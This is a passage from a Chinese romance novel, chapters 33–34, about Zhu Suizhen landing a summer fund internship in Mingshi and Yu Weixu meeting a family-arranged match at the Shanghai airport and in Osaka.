俞惟叙一脸“没那个必要”的样子:“哎哟,不差这点儿,你们玩得开心就行了,跟鱼仔还客气什么!” 祝岁祯仰头笑笑,摇了摇头。 他深深地看她的笑容,良久,问道:“你暑假回去有什么安排?” “嗯……暂时没有,在家待着吧。” “你家有什么景点吗?” “章市啊……没有,挺无聊的一个地方,市区里就两条河,郊区有小山,没什么名气。” “也挺好的,我假期要是有空去你家玩。” 祝岁祯没法儿想象,这么一个周游世界的富二代会去她们那小地方。 “玩……倒没什么好玩的。不过欢迎俞总莅临我市调研考察、投资项目。” “哎哟喂,祝市长对我的期望很高啊!” 他垂眼看了看祝市长行李箱上放的一袋东西:“这什么?你来的时候好像没拿袋子。” 祝岁祯低头,把纸袋掀开一点:“我上午紧急去了梦梦和小羊推荐的那个面包店,没开门我就去排队了。 “没错,就是你说的那个‘意大利的烧饼酱香饼’,我带回去给爸妈尝尝。老家那小地方,没这么高级的洋气玩意儿。” 他看着面包笑了笑:“挺好的,就来两天还惦记着家里人。” 祝岁祯想起昨天下午他和他妈妈的电话,似乎不是很愉快,她忍不住问: “你妈妈让你接谁啊?是很厉害的大人物吗?” 他脸上的表情有些不自然:“不是什么大人物,就……我前天跟你说的那个女生,放假回国了。” 祝岁祯恍然大悟:“啊!白富美!这不挺好的么,增进一下感情。” 俞惟叙不怎么开心,眼神复杂地看着她: “如果是两三天前,我无所谓去不去;但现在,我非常不想去。” 祝岁祯思索了下:“这两天你和你妈妈吵架啦?” 俞惟叙叹口气,知道她什么也不懂。 “不是,别的原因,不聊这事了。” 祝岁祯看不懂他眼底的情绪,罢了,人家有的是钱,以后和白富美结婚就更有钱了,哪里用得着她这种底层小民为他着想。 看了眼手机,祝岁祯说:“我得走了,谢谢你这两天的照顾。要是来章市一定告诉我,必须要请你吃饭!” 俞惟叙回给她一个大大的笑容。 “你上去吧,拜拜啦~开学见。” 俞惟叙送她到酒店门口,看着她打遮阳伞、拉行李箱的背影,黯然默立。 33.第三十三章 浦东,T1,国际、港澳台到达出口。 俞惟叙站在银色不锈钢栏杆前,等待从肯尼迪机场来的这趟航班。 周围有举着牌子等外国人的,有激动聊天等亲人朋友的,只有俞惟叙戴了个生人勿近的墨镜,百无聊赖地执行老妈强行下达的命令。 头等舱先出来,俞惟叙一眼就看到林期尔,她整个人松弛地像刚从卧室走出来。 外面松松垮垮地套着明显是航司给头等舱送的睡衣,拎着个什么都装不下的收藏级香奈儿巴士小包,脚上踢踢啦啦挂着爱马仕定制的鳄鱼皮拖鞋…… 这鞋他家关总也有,其中一双就和她脚上这个颜色差不多,皮面上全是欠儿姐咬的洞。 扯了扯嘴角,让自己脸色看着不那么冷淡,他对着林期尔招了招手。那姑娘也一眼注意到仿佛在人群里发光的俞惟叙。 她笑着点了点头,表示自己看到了。 俞惟叙离开栏杆,走到尽头,从帅哥空乘手里接过行李推车: “辛苦了,Liz,欢迎回家。” “噢~~谢谢你来接我,真贴心。你知道的,我和我爸爸正在吵架……他真的很过分,对吧?居然连私人飞机都不给我安排,让我自己订票回来!这趟航班的服务太差了!竟然让我和商务舱的一起排队值机……” 俞惟叙一边帮她推车,一边听她用英语噼里啪啦地抱怨,墨镜下的眉头微皱。 “以前这种小事哪里需要我自己做呢?你知道吗,我差点错订成中转航班……好在我知道便宜肯定没好货,直接选了最贵的。真是太生气了,我爸爸怎么能这样?回去我不会给他好脸色!” 俞惟叙说不羡慕是假的,林家实在太宠这个独生女了。他想了想,笑道: “其实这也算一种人生体验,不是吗?以后你可以和朋友讲这段往事,毕竟坐湾流、庞巴迪的朋友们怎么会知道值机柜台的手续呢?” 林期尔夸张地看他:“哇~哈哈哈,你居然说美音?我以为我要听到标准的RP口音,就像伦敦的阴雨天,潮湿而古板……你懂的。” 俞惟叙立刻切换英音:“如果你想听的话,我也可以讲。实际上,美国口音并不是很难的东西。” 林期尔脸上的表情乱飞:“好了好了,停下,太装了,你还是说美音吧,我实在受不了。” 两人往停车场走去,林期尔问他:“我听你妈妈说,这些天你刚好在上海?为什么你来上海呢?不要说专门为我来的,我不会相信。” 俞惟叙把她的箱子又推了推,防止掉下来:“我和同学们一起来的,参加他们的……呃……怎么说呢……假期社团活动?你可以这样理解。” 俞惟叙一时没找到合适的词汇,去形容“暑期社会实践”。 “真的吗?你会参加这种活动?真是不可思议,我一般不会参与的,有点……”她挑了挑眉。 俞惟叙知道她想说这种活动太傻了,只是碍于礼貌没直接讲。 但他猜测,林期尔肯定要在背后和她圈子里的闺蜜朋友吐槽,然后过不了几天,这话就会传到他耳朵里。 无所谓,不是什么了不得的事,这些人谁家里没点儿八卦呢?俞惟叙就这点比较自豪,他家在圈子里真算得上很干净的,家人都简简单单地专注工作家庭和学业。 停车场外,俞惟叙帮她定的专车司机正在等候,他把行李推车停放在车边,司机把三四个行李箱一件件搬到车上。 林期尔看着他摘下墨镜,眼里是毫不掩饰的惊艳: “谢谢你的时间。你以后有来美国读硕士的计划吗?你要读硕士的吧?希望我们可以成为校友。” 俞惟叙笑了笑:“或许……会吧,我也不确定,谁知道呢?” “说真的,你很适合来美国读书呢,美国的女孩们很喜欢你这个类型。哦,抱歉,不只是美国,这世界上大部分的女孩都会喜欢你。” “谢谢夸奖,你也是很受欢迎的女孩。” “好了,我先走了,以后有机会一定要和你妈妈再见面,你妈妈对我真的很好,我太爱她了。” “是的,她很喜欢你。” 林期尔上车,俞惟叙帮她关上门,司机启动车子,她按下窗和俞惟叙挥手告别。 车子消失在停车场拐弯处,俞惟叙长舒一口气,给老妈打电话汇报任务完成了。 随后心情舒畅地拎着旅行包晃去二楼,办了手续后在贵宾室候机。 他翻了翻朋友圈,舍友们和周梦津都发了在上海的动态,但是祝岁祯,居然没发什么。 点进她的朋友圈,什么都没有,他好像很久都没看到祝岁祯发朋友圈了。 这世上居然有女生,比他发动态的次数还少?不应该啊…… 随后俞惟叙突然想到:这祝岁祯,不会把他给屏蔽了吧?! 俞惟叙看着祝岁祯的头像,犹豫要不要问。 算了,别问了。人家要是没屏蔽他,这么问显得他很奇怪;如果真屏蔽他,他又能怎么样呢? 这时,朋友圈显示有新动态。 他点进去,发现祝岁祯的头像小图赫然出现在右上角。 俞惟叙瞬间庆幸自己没问,要不然可真是太丢人了…… 【土狗进城】 俞惟叙看到这个文案,唇边挂上一抹笑。哪儿有女孩子这么说自己的? 点开她发的六宫格。 前两张都是东方明珠陆家嘴,一张俯拍夜景、一张黄昏。 第三张是在红色景点纪念馆里拍的,俞惟叙都迅速刷了过去。 第四张开始,就有点不一样了。一朵绿色绣球花、一只正在上台阶的橘狸花色混杂的猫、一片插在玻璃杯边沿的柠檬。 他觉得,祝岁祯好像喜欢拍这种简单干净构图的照片。 后三张都是哪儿拍的呢?俞惟叙想半天也想不到。 他截了图,直接甩进和她的聊天记录里。 俞惟叙:【这几张哪里拍的?】 祝岁祯:【?】 祝岁祯:【就随手拍的啊……干嘛问这种奇怪的问题】 爸妈收拾碗筷,祝岁祯躺在沙发上当咸鱼。她看着俞惟叙截的图,顿觉好笑。 俞惟叙:【好奇。朋友圈里刷到他们发的,我每张都能看出是在哪里拍的,只有这三张看不出。】 祝岁祯:【回国了就是不一样啊,真闲】 祝岁祯:【你还没飞呢?接到弟妹了吗?】 俞惟叙:【……】 俞惟叙:【那两个字对吗!给我撤回!我和她之间清清白白!】 祝岁祯:【哈哈哈哈哈】 俞惟叙:【我和她真的没什么,别乱说。还不如咱俩熟呢】 祝岁祯:【好好好,不乱说】 她把上面那句话撤回了。 俞惟叙:【没飞。在等。别转移话题,先回答我的疑问】 祝岁祯:【……有什么好转移的】 祝岁祯:【花,是你请客的餐馆门口拍的】 祝岁祯:【猫,是外滩那个纪念碑下面拍的】 祝岁祯:【哦对了!你有没有发现,这只猫的眼神超级霸气?睥睨众生!我要叫它丧彪】 祝岁祯:【最后一张是酒店楼上有个小吧台,你给我们升级的那个房型,能免费领两杯酒】 俞惟叙:【你喝酒了?】 祝岁祯:【没有,气泡水】 俞惟叙:【哦,在外面不要喝酒】 她也是无语了,时隔两年,少爷还是这么爱管闲事。 祝岁祯:【朋友接到了吧?关总大人没有布置新任务吧?】 俞惟叙:【嗯。千万别提这茬,小心墨菲定律】 祝岁祯:【笑死。头一次见你怕成这样】 俞惟叙:【谁怕了!我那是烦。这是完全不同的两种情绪】 俞惟叙:【你到家了吗?】 祝岁祯:【到啦,一会儿出门和爸妈去遛弯儿,先不聊啦,回见】 她看着俞惟叙简单的回复,放下手机。 哪里有什么遛弯儿呢,她根本懒得动。只是见俞惟叙突然问她到没到家,猜测人家可能是不想聊了。 突然,她想起来什么,对着厨房喊道:“爸,我那个面包,你们没吃完记得放冰箱。” 俞惟叙上了飞机就睡觉,凌晨飞机到北京。结果因为下暴雨,飞机在天上盘旋了半个小时才降落。 烦燥地开车回太平桥,到家后他故意整出点儿大动静,俞况出来看了一眼。 “你怎么这时候回来?白天回不行吗?” 俞惟叙没好气道:“我归心似箭。” “那你小点儿声,你妈刚睡着被你吵醒。” 俞惟叙挑了挑眉:“哦。” 吵醒了才好呢,最好能让老妈觉得愧疚。 这还没完,他已经做了计划,要早起去跟姥爷“超绝不经意”地提起此事,然后“不小心”地卖惨。 姥爷一定会替他出气的。 只是回来洗漱后,这一折腾,他睡不着了。 猫咪悄无声息地爬上床,俞惟叙搂着它进被窝,听它的呼噜声。无聊翻看手机,又刷到祝岁祯那条动态。 点赞评论可真多啊,一个页面都放不下,得往上滑。中间不乏几个舔狗评论,看得俞惟叙不怎么高兴。 他想起祝岁祯说在露台被搭讪的事,啧,烦人。 照片停留在第三张时,他眼睛突然瞪大了些。 左下角那个正在看雕像的人,分明是自己! 哎嘿~ 他高兴地把这张照片存下来,跟姥爷卖惨的时候能用。 天亮了,关总和俞导各自去上班的地方吃早餐,他也赶紧起床洗漱,开车到姥爷家。 姥爷正吃早饭,见俞惟叙英俊非凡的脸上挂俩黑眼圈、神色萎靡地进来,老人十分心疼地问宝贝外孙怎么回事。 俞惟叙却避而不谈。 先是表达自己对红色景点的热爱,然后和姥爷探讨革命精神,最后跟他一起看自己拍的照片,还把祝岁祯给他拍的侧影图当作王牌祭了出来。 果然,姥爷那是相当的开心,觉得自家外孙虽然在国外待了这么些年,仍旧根正苗红。 就是说嘛!天安门红旗下长大的孩子,不管跑多远,心里装的仍旧是伟大的祖国。 提到行程,俞惟叙便开始爆发演技,和姥爷说自己原先定了几点回,但是因为母亲大人的安排,不得不完成任务。 凌晨回家,就是为了尽快见到姥爷,在姥爷这里吃上热乎的早餐,只有姥爷家,才是他内心真正的归宿…… 姥爷听不得自己的宝贝外孙过得这么惨,抄起手机就要打给女儿,俞惟叙装模作样地拦了一下,姥爷摸摸他的头说你别管。 听着姥爷唾沫横飞地痛斥老妈,俞惟叙这心里啊,别提多舒坦了。 他暗暗地祈祷:姥爷啊,您可一定要长命百岁,这世上只有您能管得了我妈…… 但随后俞惟叙发现,这波操作并没有什么用。 七月,大阪有个全球家居展,观鱼参展。林期尔家因为是做酒店的,会去看展,见到合适的供应商会谈谈合作。 顺理成章地,关理之带着俞惟叙,和林期尔一家人在大阪见了面、吃了饭。 双方家长似乎对他俩的前景都挺看好,俩小孩长得都不错、谈吐为人也周到、学习能力也不差。 只是孩子还小,要再相处个几年,等都接手家里事务、稳定下来了再正儿八经地谈婚论嫁。 席间双方家长都变着花样夸对方娃、换着角度损自家娃,俞惟叙和林期尔只能乖乖坐着尬笑,心里怀疑自己到底是谁家的亲生孩子…… 饭局结束回酒店,关理之严肃警告儿子,从现在开始不许闹出什么绯闻幺蛾子。 如果跟林家的婚事被俞惟叙给整黄了,就算她以后找职业经理人来打理观鱼,这个公司也不会交给他的,公司的盈利他也别想。 要钱?自己打工挣去。 乘车从中之岛经过,俞惟叙的心情也和渡边桥下的堂岛川一样,泛着阴沉沉的灰色。 -.- 祝岁祯在家正吹空调喝椰子水,许久不联系的何希簏发来个链接。 【祯祯姐,你暑假想实习吗?我实习的这家基金公司说还想再招一个,你有兴趣不?在明市】 她一个激灵就坐起来了。 G基金是G证券的子公司,G证券在国内是很有名的金融企业。如果想去G基金在北京的总部实习,本科生可是有点难度的。 明市是她们省的省会城市,虽然公司质量跟北京比肯定差些,但有比没有强啊! 祝岁祯:【稍等,我看一下】 她打开链接,这是G基金公司在源省明市的分支机构,招暑期实习生,行业研究岗位,工资60一天。 但是这是在明市啊,怎么住呢?租房?又一笔开销。 她的金库还有个三万多,其中一万块的奖学金她还没动过,开学了又能靠大二的排名申奖学金,应该还会有一万进账。 先不要在意这点花销,机不可失! 祝岁祯:【要!帮我留一个名额!感谢!】 她紧急找了个简单的模版,做个简历发给何希簏。 何希簏:【收到】 她立刻在家庭群里,给爸妈汇报情况。 爸妈大为震惊。 长达半个小时的思想工作后,她搞定了家长。随后开始解决住宿问题。 好多房东都不愿意只租一个月,网上有人说可以住酒店,但G基金在明市的市中心,附近的小酒店最便宜的,也得两百多一天……她实在舍不得。 只能求助何希簏,让他帮忙留意一下。 聊天中,何希簏说他没跟他爸住,自己出来住酒店了,祝岁祯知道他不想被家里管玩游戏,就没多问。 快6点的时候,何希簏有消息了,说其他部门有个姐姐在出租一居室,离公司五站地,一千八包各种费。 祝岁祯看了这套房在某平台的出租链接后,感觉还挺不错的,家具家电都齐全,自己拿上铺盖之类的就行。 她让何希簏跟同事姐姐说,帮忙留一下房子,等她拿到offer就立刻签一个月。 G基金的人力加班加点给她发了面试通知,祝岁祯第二天一大早穿了妈妈的正装,坐高铁去面试。 一路上,她都在反复背诵自我介绍和学弟给她的资料,这是她头一次面试,还蛮紧张的。 出站、打车、在前台登记、进入会议室。 她正紧张地准备,何希簏提前发消息给她助攻,说面试官有俩,一个是人力管实习生招聘的老师,另一个是他们部门经理,算是比较温和的,让祝岁祯别太担心。 不一会儿,有一男一女端着杯子拿着资料进来,祝岁祯赶紧起身。 男人点了点头:“坐吧。” 趁男人看手头简历的功夫,女人微笑着跟她说话:“祝岁祯,是吧?你家在章市啊?怎么过来的?” 祝岁祯回道:“坐高铁。” 女人点头:“起挺早吧,辛苦了。” 她赶紧说没事。 女人接着说:“我大概介绍一下,我是人力部的,姓黄,这位是行业研究部的经理,姓苏。” 她打招呼:“黄总好、苏总好。” 黄姓领导看着苏总:“那行,咱们面试就正式开始。” 祝岁祯紧张起来了,盯着桌子对面的部门领导。 这领导看起来三十多快四十的样子,眼镜后的目光一直都在她的简历上。 如何希簏所说,这个面试官虽然冷脸,但沟通起来压力不大。他先夸了祝岁祯的绩点排名和六级成绩,然后问她毕业的打算。 祝岁祯不懂自己只是来实习而已,为什么他要问这个。但她还是很实诚地说,自己更倾向于找工作。 面试官点点头,没说话。 随后他又问了她在观鱼的实习经历,祝岁祯最怕这个,毕竟她只待了俩星期却写了俩月……但还是强撑着应付过去了。 接下来面试官问了她初级会计考多少,祝岁祯很有底气地回答都是90多分。然后面试官就看了看她在简历上列举的已修课程,开始提问专业问题。 这一趴,祝岁祯没在怕,她两年的努力不是闹着玩的。 先回答了宏观经济学的四个经济周期、指标、收入需求供给、财政货币政策等等问题;然后回答金融学、财务报告分析、Python、Excel的知识。 只要是学过的,她都能答个八九不离十,除了苏总问的一个什么行业的东西,她实在不知道。面试官也说这个不是书本上的,答不上来没关系。 苏总放下简历,对黄总说:“我没什么要问的了,你呢?” 祝岁祯在心里长舒一口气,看向黄总。 人力那边没什么实质性的问题,主要就是和她沟通薪资、实习起止时间之类的,祝岁祯觉得这把好像能行,毕竟都开始聊这些了…… 结束后,苏总先回部门,黄总送她到电梯间,说让她等面试结果的邮件,今天就能出。 电梯门关,下行。祝岁祯背后全是冷汗,靠在电梯墙壁上。 面试真的好吓人啊,好紧张,她这辈子的肾上腺素都飙在今天了。 一想到毕业找工作要面临好多个这样的场景,大公司还有什么一面二面三面……她突然觉得自己还是读研吧…… 可转念一想,读研了也要找工作啊,迟早的事,躲不开的。 乱七八糟的念头闪过,电梯还没到一楼,何希簏的消息出现。 【面完了?】 祝岁祯:【你在会议室装监控了?】 何希簏:【我倒是想来着。刚才看见经理回办公室】 祝岁祯:【问了好多问题啊……你当时面试也这样吗?】 何希簏:【几乎没怎么问,FYI,小弟我稍稍有点人脉】 祝岁祯踏出电梯,低头回复: 【还FYI呢,你不说我也能猜到一点】 何希簏:【哈哈,祯祯姐最聪明了。先别走哈,等我出来】 祝岁祯:【我已经在一楼了】 何希簏:【没事,等我】 一分钟后,“叮”电梯门打开,祝岁祯探头看了看,何希簏笑着走向她。 “上班时间能随便出来吗?”祝岁祯看了眼手机。 何希簏说:“别太过分,一般没人管。” “你家里啥关系啊?” “我爸和这边一个领导是同学。” “喔~厉害厉害,要是能被录用,回头就靠你罩我了。”祝岁祯双手抱拳。 何希簏也抱拳回礼:“好说好说,肯定会给你发offer的,你成绩那么好。” “人力的小姐姐说今天会发邮件宣布结果,如果给offer了,我请你吃饭呗?今天下班的时候。” “哈哈,行啊,我和带教老师申请早点走。” 两人商量了一会儿今天的安排,何希簏说他先去找房东姐姐,如果offer下来,看她今天能不能早点下班带祝岁祯去看房。 这样祝岁祯看完房吃顿饭,就能赶着7点前后的几趟高铁回家,到章市不会太晚。 何希簏回去干活,祝岁祯抱着外套去隔壁商场吹空调,找了个奶茶店,点了杯杨枝甘露,坐下和爸妈汇报进度。 下午3点,offer给了。 她捧着手机超级开心,虽然托了何希麓的福才有机会面试,但她多多少少也通过了考核,算是一定程度上凭借自身实力拿到了实习。 不像上次在观鱼,完全是靠着俞惟叙去的,连面试都没有直接让她进。 她兴奋地截图邮件内容,发到家庭群,然后找何希麓。 何希麓说OK,他上午就已经和同事姐姐聊过了,一会儿带她去看房。 半小时后,祝岁祯坐上房东姐姐的车。 看完房之后她非常满意。 房龄只有几年,小区门口就是地铁,周围配套非常完善,装修很好、各种家具电器也都买的大牌,房东姐姐原先是自住的,后来结婚搬去了大房子。 祝岁祯看了一圈,简直不能更满意了,心想要是在北京工作的时候,能有套这样的房子,活着该多么幸福。 她很爽快地签了一个月。 从小区出来,房东姐姐开车回家,他俩挑了个串串店,坐下撸串。 祝岁祯有段时间没吃辣了,俩人吸溜吸溜根本顾不上聊天,只是何希麓一直有消息提醒,他刚开始拍了张串串的照片给对方,后来直接静音了。 祝岁祯喝了口冰镇椰子水:“你……嘶啊……还有工作吗?……嘶……” “没有,出来的时候和带教请假了……嚯好辣……”何希麓拿起冰果汁猛吸两口。 “那你……这么多消息……”祝岁祯拿起纸巾擦了擦鼻子。 他无奈道:“女朋友。” 祝岁祯愣住:“哦,哎呀,我都忘了这回事了。你女朋友来查岗了吗?” 何希麓把手机倒扣过去:“对啊,烦人。” 她看了眼何希麓皱着的眉头,犹豫道:“也别这么说……” 何希麓跟她抱怨:“真的太黏人了……刚开始谈的时候还行,后来脾气也越来越大,连考试期间都不消停。我越烦,她越疑神疑鬼,无限循环……” 祝岁祯呵呵干笑两声,心想这饭得赶紧吃完。 “你得给女朋友点安全感啊,对她再好一点、甜一点,不然女孩子会很失落的。” 何希麓看着她:“这是你和前男友谈恋爱的经验吗?” 祝岁祯顿了顿:“倒也,不是,我俩应该属于平平淡淡的那种吧……” 何希麓往后靠在椅背上,盯着祝岁祯:“我也想要平平淡淡的女朋 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“怎么了这是?” 屏幕上是一个蛮漂亮的女生。 何希麓解释:“我女朋友,韩芷玥,来明市了。” “哦……”她对着镜头挥挥手:“嗨,学妹,你好啊,一会儿一起吃个饭吧?” 何希麓惊讶地看着祝岁祯。 那女孩愣了愣,冷静下来后似乎有些尴尬,看祝岁祯这么坦荡,她缓缓道:“学……学姐好。” 祝岁祯从何希麓手里接过手机,直接跟女孩说话:“你这会儿在哪儿呢?” 女孩看了眼周围,对镜头说:“我在他住的酒店。” 祝岁祯看向何希麓:“咱过去,还是让她来?” 何希麓皱眉:“没必要吃饭吧……” 女孩立刻说:“我打车过去!” 祝岁祯扭头看手机:“哦哦,那行,一会儿他把地址发给你,学姐请你俩吃饭好吧,待会儿见。” 她把手机给何希麓,这学弟一句话不说,直接把视频通话挂了。 “哎你……好歹说点什么再挂啊……哎哟钢铁直男真可怕。”祝岁祯吐槽他。 “姐,这饭有什么好吃的!她肯定又闹得不安宁。” 祝岁祯掏出手机查附近美食:“人家都大老远跑来了,你只要态度好点,她不会故意找茬的。喜欢你才跟你吵吵架,真不稀罕你的女生,那都懒得理你。” 她把人均设置到100左右,软件推荐了几个连锁的、还有俩当地特色的。她让何希簏挑女朋友爱吃的,但他竟然不知道……祝岁祯只好选了离小区近的。 “链接发你了,转给你女朋友。说说吧,我不在的时候到底发生什么事了?” 何希麓垂着眼:“她突然说来明市了,让我下楼去接她。我说我在家。但是你回来了,她就看到了。” 祝岁祯带了点儿冷笑:“居然一眼就能认出我。” 她想起刚回来的时候,那女孩大吼的一声“祝岁祯”,她多少有点不高兴。 好歹也是学姐呢,她俩有什么仇什么怨吗? 何希麓顿觉脸上无光:“她……最近喜欢翻旧账,就咱俩那些事……” 祝岁祯这下明白了,小学妹的敌意确实也算有来头。 “那这饭更要吃了,解开心结。走吧。” 到餐馆门口,两人先去排了个座位,不一会儿,韩芷玥进来。 何希麓招了招手,祝岁祯看到一个长直发、穿着黑白裙的姑娘走了过来。长得蛮好看的,而且为了见男友,还化了精致的妆。 祝岁祯笑了笑,指着面前何希麓旁边的位置:“快坐吧。” 服务员来倒柠檬水,韩芷玥在几步之间,把祝岁祯上下打量了几个来回。 祝岁祯早就习惯了这种不善的目光,不少女生听说她的大名,第一次见的时候就会像这样用眼神逡巡,挑刺似的。 好像她眉毛乱一点、下巴长个痘、衣服没那么贵,对方就赢了。 呵,无所谓,让你们赢。 韩芷玥坐下,祝岁祯本来准备用学姐的口吻关心一下她,看到她的包,顿时改了主意。 “诶?你这个包,miumiu今年的新款吧!我舍友也买了一个,见她买,我才知道这个牌子呢。” 韩芷玥点点头:“嗯,新款,我妈妈给我买的。” “哇,好羡慕,很贵呢。不过这个牌子是不是相对小众啊,我在街上没看到几个人背miumiu的包。” 韩芷玥理了理头发:“可能吧没注意,好多人说不保值,所以买大热品牌常规款的人更多。” 多亏了有钱的舍友,祝岁祯也能唠两句:“嗐,家里有钱的谁在乎保不保值呢,自己喜欢就顺手买了,咱主打的就是一个富家千金风。” 看韩芷玥的表情,明显对这话蛮受用的。祝岁祯趁她把包放身后的功夫,颇有深意地看了何希簏一眼。 瞧见没,女生很好哄的,多学着点啊小老弟。 但何希簏没什么反应,拿了菜单给祝岁祯:“祯姐,点餐吧。” 祝岁祯很想把他的头拧下来炒盘菜。 她指了指韩芷玥:“给你女朋友看。学妹大老远来,让她先点。” 等上菜的时候,祝岁祯大概把她跟何希簏的事情讲了一遍,表示自己很感谢学弟的帮助,所以这顿饭无论如何她也要请客,希望两口子能吃得开心,不要因为她生气闹矛盾。 韩芷玥看学姐还挺真诚,自己倒也不好再说什么了。 祝岁祯也帮着调和,举例自己舍友谈恋爱,那也是三天一小吵、五天一大吵的,中间还闹分手。不过就这么的,也谈两年了,现在稳定多了。 菜来了,祝岁祯看着心情明显很好的韩芷玥,感觉自己真是功德无量。 吃饭的时候,何希簏不怎么说话,全是祝岁祯绞尽脑汁主动和学妹聊天。 韩芷玥是学西班牙语的,准备选英语当第二外语,祝岁祯问她要留学吗。 这学妹虽然学西语,但是好像并不想去西班牙留学,说准备大二下或者大三的时候先看看学院里的交换项目,目前有点想去英国或者美国交换。 这个话题祝岁祯也能聊一点,说有个同学就是去了牛津交换了两年来着,刚回来。 韩芷玥立刻两眼放光:“是俞惟叙学长吗?” 祝岁祯有点尬,原来人家知道啊……这还怎么聊。 “呃,呵呵,对。” “啊!我超级崇拜他!据说他长得也超级帅!” 何希簏:??? 祝岁祯笑道:“确实挺帅的。” 何希簏:??? 韩芷玥放下筷子,用纸巾擦了擦嘴,认真聊天:“学姐,你见过俞惟叙学长吗?” “见过啊,同班呢。” “同班?天呐!能具体形容一下有多帅吗?我只看过军训照片,还有别人在远处的偷拍。” 祝岁祯思索道:“形容啊?呃,”祝岁祯看向何希簏,“比学弟壮实一点,据说他经常去健身房;然后,也比学弟高一点,脱了鞋净身高189。” 韩芷玥:“哇~~” 何希簏不服了:“你怎么知道得这么清楚?还净身高?你量过?说不定鞋里垫了呢。” 韩芷玥“啪”一掌打在他肩膀:“不许你诋毁我男神!” 何希簏:??? 祝岁祯喝了点柠檬水:“应该不会有假吧,军训的时候他站最后一排,确实挺高的。” 学妹捧着脸做花痴状:“哎呀,两年了,不知道学长是不是更帅了……” 知道祝岁祯刚和俞惟叙一起组队去上海做社会实践,学妹爆发出后悔的哭嚎:“天呐!要是早知道,我无论如何也要加入你们的队伍……学姐我为什么没早认识你……” “嗐,他临时加入的。话说确实应该早些认识你,之前何希簏官宣来着,我那会儿准备考试太忙了,应该见见你的,早就听说你是个大美女。” 何希簏酸溜溜地看着俩女生讨论俞惟叙的照片。 韩芷玥不缠着他了,就连祝岁祯这种颜值水平,居然也对俞惟叙赞不绝口。 一直听说俞惟叙那个学长,是个很帅的富二代,他现在也开始好奇了,真人到底有多帅。 饭差不多快吃完,学妹想加俞惟叙好友,祝岁祯考虑到俞惟叙那人事多,就说先问问看对方同不同意。 祝岁祯:【嗨嗨,打扰啦,有个外院的学妹想加你好友,我把你名片推给她行吗?】 等了一会儿,她本来都不指望俞惟叙回复了,结完账要走的时候,手机出现提示。 俞惟叙:【加我干什么】 祝岁祯:【应该是想问问交换的事情吧】 俞惟叙:【不同学院政策不一样,让她问导员】 祝岁祯:【哦,好吧。话说,她是你的小迷妹呢】 俞惟叙:【所以呢?谁喜欢我,我就得加谁陪聊?】 祝岁祯:【不敢不敢,这不是先问问您的意见么……】 俞惟叙:【不加。有事让她开学当面找我。以后没什么重要的事,别把我推给女生】 祝岁祯:【哦哦,好的】 俞惟叙:【我刚落地,晚上再找你聊】 祝岁祯:【OK】 祝岁祯回复完,见韩芷玥期待地看着她,只好尴尬地转达: “呃,他说你要是有事,开学当面问,他现在好像不加不认识的人……” 见学妹失望,她补充道:“你应该也能理解吧,他这种男神,想加他的人太多了,就……嗯。” “唉,好吧。” 何希麓却笑了:“这个做法我倒是很欣赏,so cool,就应该这样。” 韩芷玥生气了:“欣赏?何希麓你故意跟我作对是不是?” 何希麓不满道:“喂!你当着我的面,对别的男人犯花痴,还要加好友,我没生气已经算不错了,你别太过分。” 眼看就要功亏一篑,祝岁祯赶紧说:“别别别,大热的天,都消消气。这不是没加么,人家学妹也就是想认识认识,又不会怎么样。” 俩人似乎也是嫌在外面吵架丢人,各自别开脸不说话了。 祝岁祯实在是伺候不起了,开始暗示:“这附近有个小商场,你们想一起逛逛吗?还是怎么安排?” 何希麓说:“不逛了,叔叔阿姨还等着你呢,我俩先回去了。” 目送二人上了出租车,祝岁祯可总算是松口气,往小区走。 她想了想,给俞惟叙发了几句话。 祝岁祯:【抱歉,刚才打扰你了。主要是那学妹就在旁边站着,我不太好拒绝】 祝岁祯:【我以后会注意的,尽量说跟你不熟】 34.第三十四章 回到出租屋,爸妈已经买了菜在做饭。祝岁祯只顾应付学妹,没吃多少,正好能再美美地蹭两口爸妈做的饭菜。 吃完送走爸妈,她才发现俞惟叙回她消息了。 俞惟叙:【又去哪儿了啊怎么旁边还有学妹呢?过个暑假也不闲着,实践报告写完了吗】 祝岁祯看着消息,抿唇笑了一下,暗暗吐槽。他又不用写实践报告,管这么多干嘛。 祝岁祯:【偶然遇到的学妹,一起吃了个饭】 祝岁祯:【实践报告我们一天就写完了好吗】 他回得还挺快,看来是真不忙。 俞惟叙:【偶然遇到?M大在你们章市录了不少啊?】 祝岁祯:【说来话长了,简单概括就是,我在明市遇到的一个外地学妹,人家认识你,所以才找我加你好友】 俞惟叙:【你去明市了?】 祝岁祯:【嗯呢,找了个实习,G基金知道吧,base明市,行研岗的实习】 俞惟叙:【学霸卷绩点也就算了,假期也在背后悄悄努力卷实习啊?真可怕……】 祝岁祯:【您这以后当大老板的,怎么能知道我们牛马的痛?我不卷,有的是人卷。】 俞惟叙:【够了啊,你怎么知道我没当过牛马,我也实习过好吗】 祝岁祯:【呵呵,志愿者吗?】 俞惟叙:【不是啊,志愿者之后的事。去年暑假我回伦敦也去实习了,在一家对冲基金】 祝岁祯查了下俞惟叙说的那家对冲基金……嚯!绝对是世界顶尖的金融机构,招聘的target school基本都是牛剑藤校。 祝岁祯:【无语了。到底是谁在卷啊我请问呢,还好意思说我?】 俞惟叙发了个坏笑的表情。 俞惟叙:【你实习的时候,如果有不会的,可以来问我】 祝岁祯:【那可太好了!现在就有一个!】 俞惟叙:【来】 祝岁祯:【你用过wind吗?咱学校好像有上机课,但大三才开】 俞惟叙:【……还真问到我了,这是什么?】 祝岁祯:【一个金融软件】 俞惟叙:【哦!想起来了,国内开发的。确实没用过,我在国外用的Bloomberg】 祝岁祯:【那又是啥?】 俞惟叙:【外国用得比较多的金融终端,中文名字好像叫彭博,一年服务费20万左右,M大应该不会给学生买这个】 祝岁祯:【……】 祝岁祯:【你要说中文名,我好像知道了。一年不赚他个几百几千万,能对得起这么高的成本不?】 俞惟叙:【我还没把功能学全呢,就回来了。本来打算自己搞一套,但是想了想,用不太到,就算了】 祝岁祯:【没关系,您是有这个实力的。话说,这些天又飞去外地啦?】 俞惟叙:【嗯,刚从大阪回来,公司去参加了个家具博览会】 祝岁祯:【哎呀妈呀,日本……老板日理万机,辛苦了辛苦了,您早点休息,小的我先告退】 她发个抱拳的表情,俞惟叙也回了一个。 -.- 周一,上班。 她拿着包子豆浆,跟着何希麓进办公区。 这是个大厅,里面放了好几长排超大写字台。很多工位上都架着四个屏幕,有的甚至放了六个!不知道的还以为是保安监控室呢…… “这都是……啥章程啊……” 何希麓解释:“因为分析师们要同时关注好几个板块的波动数据,还得干手头上的工作,一个屏幕切来切去的不方便。” 